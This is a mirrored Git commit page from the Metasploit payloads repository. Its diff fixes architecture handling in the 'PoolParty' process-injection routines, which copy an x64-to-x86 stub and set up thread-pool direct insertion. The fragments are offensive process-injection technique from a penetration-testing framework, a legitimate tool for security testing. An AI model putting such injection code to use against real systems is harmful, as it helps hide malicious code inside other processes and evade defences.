mirror of
https://github.com/rapid7/metasploit-payloads
synced 2025-01-02 11:36:22 +01:00
fix: handling WoW64 injection destinationArch
This commit is contained in:
parent
a97444d79c
commit
b18df9c9fe
@ -573,6 +573,7 @@ DWORD inject_via_poolparty(Remote* remote, Packet* response, HANDLE hProcess, DW
|
||||
memcpy(lpStub, x64tox86, sizeof(x64tox86) - 1);
|
||||
memcpy((LPBYTE)lpStub + sizeof(x64tox86) - 1, poolparty_stub_x86, sizeof(poolparty_stub_x86));
|
||||
dwStubSize = sizeof(x64tox86) + sizeof(poolparty_stub_x86) - 2;
|
||||
dwDestinationArch = PROCESS_ARCH_X64;
|
||||
}
|
||||
|
||||
hTriggerEvent = CreateEvent(NULL, TRUE, FALSE, NULL);
|
||||
|
@ -163,14 +163,11 @@ DWORD remote_tp_direct_insertion(HANDLE hProcess, DWORD dwDestinationArch, LPVOI
|
||||
pNtDll* ntDll = NULL;
|
||||
DWORD dwResult = ERROR_POOLPARTY_GENERIC;
|
||||
HANDLE hHeap = GetProcessHeap();
|
||||
dwDestinationArch = PROCESS_ARCH_X64;
|
||||
DWORD dwDirectSize = dwDestinationArch == PROCESS_ARCH_X64 ? TP_DIRECT_STRUCT_SIZE_X64 : TP_DIRECT_STRUCT_SIZE_X86;
|
||||
|
||||
WOW64_CONTEXT test = { 0 };
|
||||
LPVOID *Direct = HeapAlloc(hHeap, HEAP_ZERO_MEMORY, dwDirectSize);
|
||||
do {
|
||||
ntDll = GetOrInitNtDll();
|
||||
dprintf("%d fs offset: %p", sizeof(WOW64_CONTEXT), (QWORD)&test.SegFs - (QWORD)&test);
|
||||
if (ntdll == NULL) {
|
||||
BREAK_WITH_ERROR("[INJECT][inject_via_poolparty][remote_tp_direct_insertion] Cannot GetOrInitNtDll()", ERROR_POOLPARTY_GENERIC);
|
||||
}
|
||||
|
Loading…
Reference in New Issue
Block a user